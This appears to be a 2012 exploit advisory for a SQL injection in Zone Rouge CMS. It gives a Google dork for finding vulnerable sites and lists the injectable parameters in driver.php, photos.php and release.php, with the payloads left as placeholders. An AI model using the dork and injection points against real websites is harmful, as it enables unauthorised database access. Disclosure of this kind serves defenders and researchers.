Zone Rouge CMS 2012 SQL Injection Vulnerability

# Exploit Title: [Zone Rouge CMS 2012 - SQL Injection Vulnerability]
# Google Dork: [inurl:"driver.php?langue="]
# Date: [2012-01-21]
# Author: [David Frankenstein]
# Software Link: [http://zonerouge.fr]
# Version: [#]
# Tested on: [#]
 
# Exploit:
 
Vulnerable File(s):
                                                           [+] driver.php
                                                           [+] photos.php
                                                           [+] release.php
 
 
Proof of Concept:
=================
The vulnerabilities can be exploited by remote attackers without user inter
action.
For demonstration or reproduce ...
 
PoC:
[+] driver.php?langue=fr&champ=`[SQL-Injection]
[+] photos.php?langue=fr&archives=`[SQL-Injection]
[+] release.php?langue=fr&champ=`[SQL-Injection]
 
 
 
Reference(s):
[+] http://[SERVER].COM/[FILE].PHP?langue=fr&archives=`%60
 
 
Risk:
=====
The security risk of the remote sql injection vulnerability is estimated as
high(+).



#  0day.today [2018-03-09]  #